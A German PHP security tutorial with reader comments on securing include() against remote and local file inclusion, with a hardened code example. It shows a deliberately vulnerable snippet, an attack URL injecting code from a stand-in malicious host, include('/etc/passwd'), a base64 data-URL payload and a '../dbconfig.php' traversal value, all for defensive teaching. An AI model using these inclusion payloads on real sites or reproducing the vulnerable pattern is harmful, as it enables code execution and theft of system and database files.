PHP-Sicherheit: include() absichern
Anzeige Hier werben
Leider sind sich viele PHP-Anfänger nicht über die Macht der include()-Funktion bewusst. So lassen sich mit dieser auch entfernte Dateien, Dateien die über den Browser nicht aufrufbar sind oder Dateien außerhalb des eigenen Webspaces laden.
Hierzu 2 Beispiele:
- externe Dateien
Eininclude('http://www.domain.de/datei.xxx');wird von PHP ausgeführt. Wenn die externe Datei nun selbst PHP-Code enthält, so wird dieser vom PHP-Interpreter geladen, als wäre es eigener Code. Somit lässt sich also fremder Code einschleusen. - Dateien außerhalb des Webspace
Hiermit lassen sich z.B. alle User einer UNIX-Maschine auslesen (include('/etc/passwd');)
Schutz durch den Adminstrator?
Diese möglichen Sicherheitslücken lassen sich natürlich vermeiden. Hierzu kann bereits der Serveradministrator Methoden einsetzen, auf diese wird dieser Artikel aber nur kurz eingehen, da man sich als Entwickler nicht auf solche Methoden verlassen sollte. Vielmehr sind sie als zusätzlicher Schutz für den Server anzusehen.
include() absichern
Die Konfiguration von PHP bieten einige Möglichkeiten um include()-Angriffe zu vereiteln. So kann der Aufruf von entfernten Dateien unterbunden werden (Option: allow_url_fopen). Hierbei werden allerdings alle anderen Zugriffe auf entfernte Dateien auch unterbunden, wodurch bestimmte Scripts nicht mehr können.
Seit PHP 5.2 kann auch nur das Einbinden externer Dateien (Option: allow_url_include) unterbunden werden. Gleichzeitig führt PHP 5.2 aber Methoden ein um base64-kodierten Code oder direkte Eingaben als Datei zu verwenden (Beispiel: include("data:;base64,PD9waHAgcGhwaW5mbygpOz8+");), wodurch neue Lücken aufgerissen werden können.
Beide Methoden bringen also weitere Probleme oder decken nur einen Teil der möglichen Angriffsvektoren ab.
Zugriff auf Dateien außerhalb des eigenen Webspaces verhindern
Auch über die Dateirechte auf dem Server können Angriffe vermieden werden. Erhält der Webserver keinen Zugriff auf systeminterne Konfigurationsdateien, so kann auch kein externer Angreifer das über PHP. Auch der Zugriff auf Dateien fremder Webspaces sollte unbedingt unterbunden werden.
Beispiel: include() von einem PHP-Anfänger
Der Quelltext ist unsicher und sollte so nie verwendet werden!
1 2 3 4 5 6 7 8 9 10 | <?php
if (isset($page))
{
include($page . '.php');
}
else
{
include('startpage.php');
}
?>
|
Hier wäre es nun sehr einfach möglich durch den Aufruf von http://www.beispiel.de/index.php?page=http://www.boese-seite.de/code Code einzuschleusen. Deswegen merke:
Traue nie Daten, die vom Benutzer kommen.
Zusätzlich zur fehlenden Prüfung der vom Browser übermittelten Daten, wird hier vorausgesetzt, dass register_globals aktiv ist. Die dadurch möglicherweise entstehenden Sicherheitsprobleme sollen aber der Inhalt eines anderen Artikels sein.
Absichern von include()
Als erster Schritt sollte ausgeschlossen werden, dass entfernte Dateien geladen werden können. Eine Eigenschaft von file_exists() ist hierbei sehr hilfreich: Bei entfernten Dateien liefert die Funktion immer false zurück. Somit können entfernte Dateien - inklusive data-URLs, die oben beschrieben werden - erkannt werden und gleichzeitig geprüft werden ob die gesuchte Datei überhaupt existiert.
Um zu verhindern, dass Dateien außerhalb des eigenen Webspaces geladen werden können muss als weiterer Schritt noch eine weitere Prüfung erfolgen. Der Einfachheit halber und weil es für die meisten der Seiten mit include()-Fehlern ausreicht werden folgende Voraussetzungen gesetzt:
- Alle Dateien befinden sich in einem eigenen Verzeichnis (hier
content/) - Die Dateien befinden sich in einer flachen Struktur ohne Unterverzeichnisse
- Alle Dateien enden auf ".php"
- Der GET-Parameter "page" gibt - wie im Beispiel oben - die angeforderte Seite an, ohne Dateierweiterung oder Pfad
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | <?php
/* Standardseite, die eingebunden werden soll */
$ipage = 'content/startpage.php';
if (isset($_GET['page']))
{
/* Mit basename() wird der Dateiname extrahiert, Beispiel:
basename('foo/bar') -> 'bar' */
$page = basename($_GET['page']);
/* temporäre Variable für den vollen Pfad der Datei */
$tpage = 'content/' . $page . '.php';
/* Test ob die Datei lokal existiert */
if (file_exists($tpage))
{
/* $ipage wird nur verändert, wenn alle Bedingungen zutreffen */
$ipage = $tpage;
}
}
include($ipage);
?>
|
Verwendung von readfile()
Werden keine dynamischen Seiten eingebunden kann man statt include() auch readfile() verwenden. Bei allen Seiten, bei denen ein Frameset durch PHP ersetzt werden soll, ist das meist ausreichend. Im Gegensatz zu include() liest readfile() die Datei ein und gibt den Inhalt unverändert aus. Somit kann kein fremder Code ausgeführt werden.
Trotzdem bleibt die Gefahr, dass Dateien ausgelesen werden können die nicht gewünscht sind (beispielsweise Konfigurationsdateien für die MySQL-Verbindung) oder die Gefahr einer Cross-Site-Scripting-Lücke, weshalb auch hier eine Prüfung/Sicherung der Parameter wie in obigen Code passieren sollte.
Diese Seite kann von jedem registrierten Benutzer bearbeitet werden. Bisher hat 1 Person an der Seite "PHP-Sicherheit: include() absichern" mitgewirkt.
Sie haben einen Fehler entdeckt oder möchten etwas ergänzen? Dann können Sie nach der Anmeldung "PHP-Sicherheit: include() absichern" hier bearbeiten.
-
David Danier arbeitet seit mehr als neun Jahren im Bereich Web Programmierung und ist unter anderem Geschäftsführer der Webagentur Team23 GbR, sowie Webmasterpro.de.


Auch bein lokalen Dateien?
Heißt das, dass wenn ich eine Datei, die in einem lokalen Unterverzeichnis liegt, per
include ('dateiname.php');in meine php Datei einbinde, auch diesen Aufruf absichern muss?
Gruß
Re: Auch bein lokalen Dateien?
Solange du den Dateinamen da wirklich fest im Quelltext stehen hast nicht, bei Variablen sieht es schon wieder anders aus (Stichwort register globals etc.).
Tipp:
einfach ('./myfiles/my.php'); / ein ./ langt schon ;-).
Re: Tipp:
Nein, du vergisst, dass es "../" gibt:
'./myfiles/my.php'->'./myfiles/../dbconfig.php'(
'../dbconfig.php'wäre hierbei der Inhalt von$_GET['page']o.ä.)Einbinden externer Dateien
So ein Quatsch! Der PHP Code wird a) auf dem entfernten Server ausgeführt oder b) einfach an den Client gesendet, ohne ausgeführt zu werden.
Re: Einbinden externer Dateien
Zu a): Wenn der externe Server Code ausführt, so heißt das nicht, dass das lokal nicht (nochmal) passiert. PHP kann selbst wieder gültiges PHP ausgeben. (echo "<?php ...?>";)
Zu b): Falsch, nur bei readfile() ist das der Fall. include() führt auch Code aus, der von extern kommt, siehe:
$ php -r 'readfile("http://localhost/~ddanier/test.txt");' <?php echo "TEST\n"; echo "<html>\n"; $var = 'foobar'; echo $var; ?> $ php -r 'include("http://localhost/~ddanier/test.txt");' TEST <html> foobarRe: Einbinden externer Dateien
Mh, okay, du hast recht. Ich war zu dumm, um meinen Test richtig zu konstruieren. Sorry ^^
Re: Einbinden externer Dateien
Doch nicht! Du hast den Fehler im Beispiel ^^ Dein Beispiel funktioniert nur auf der Konsole, probiers aus.
Re: Einbinden externer Dateien
Es funktioniert auch hier nur auf der Konsole, das liegt an Einstellungen in der php.ini:
allow_url_fopenallow_url_includeWenn ich beide Einstellungen allerdings aktiviere, so klappt es hier auch über den Webserver problemlos. Die beiden Optionen sind auch oben im Artikel unter "include() absichern" erwähnt, bieten aber keinen ausreichenden Schutz.
Fakt ist aber: include() führt Code aus. Das liegt unter anderem an der Beschaffenheit der URL-Handler von PHP. include() selbst sieht das nur als normale Datei, die automatisch von extern abgerufen wird.
Re: Einbinden externer Dateien
Die Einstellungen legen ja nur fest, ob der Zugriff auf externe Dateien gestattet ist oder nicht und hat mit dem Problem nichts zu tun.
Es klappt über den Webserver nicht, weil hier ein syntaktisches Problem besteht:
Dies ist die Datei index.php:
<?php include('http://adresse.de/datei.txt'); ?>Wenn die datei.txt jetzt folgendes enthält:
echo "Hello World";Ist die Ausgabe:
echo "Hello World";Wenn datei.txt aber enthält:
<?php echo "Hello World"; ?>Gibt es durch das include() auf einmal einen Syntaxfehler und der Code wird auch nicht ausgeführt.
D.h. im Prinzip hast du schon Recht, nur technisch führt das in eine Sackgasse.
Re: Einbinden externer Dateien
Wo und wieso sollte es da einen Syntaxfehler geben? Hast du das überhaupt getestet?
Re: Einbinden externer Dateien
Denn das Argument der Dateihandler (Streams etc.) macht ja durchaus Sinn.
Re: Einbinden externer Dateien
Keine Ahnung warum, das war nur das Ergebnis des Tests. Ich untersuch das nochmal.
Re: Einbinden externer Dateien
Wo testest du denn? Evtl. hat dein Webhoster ein Sicherheitsmodul aktiv, was versucht solche Abfragen zu verhindern?
Re: Einbinden externer Dateien
Mh, erscheint mir eher unwahrscheinlich. Aber dein Argument bezüglich der Handler ist wohl überzeugend genug, mein Fehler. Eventuell hab ich schon wieder was falsch konstruiert oder so?
Danke für diesen wichtigen Beitrag!!
Ist diese include-Variante sicher??
Re: Danke für diesen wichtigen Beitrag!!
1 2 3 4 5 6 7Re: Danke für diesen wichtigen Beitrag!!
Ja, allerdings meiner Meinung nach zu aufwändig. Wenn du die geladene PHP-Seite fest in den Code schreibst musst du nicht zwingend prüfen, ob die Datei überhaupt existiert. Das macht hauptsächlich bei include()'s Sinn, wo der Dateiname aus einem Parameter, den der Besucher übergibt, generiert wird. Falls du auf diese Art mehrere Seiten einbindest würde ich allerdings folgendes empfehlen:
Grundsätzlich ist der Vergleich des Parameters mit dem gewünschten Wert/den gewünschten Werten natürlich die sicherste Methode um das Einbinden ungewünschter Dateien zu unterbinden. Eine Prüfung der Werte ist dann nahezu überflüssig. Allerdings muss der Code sauber sein und darf beispielsweise nicht das Setzen von Variablen erlauben, wenn register_globals aktiv ist (siehe Kommentar im Code).
Re: Danke für diesen wichtigen Beitrag!!
m'kay! danke...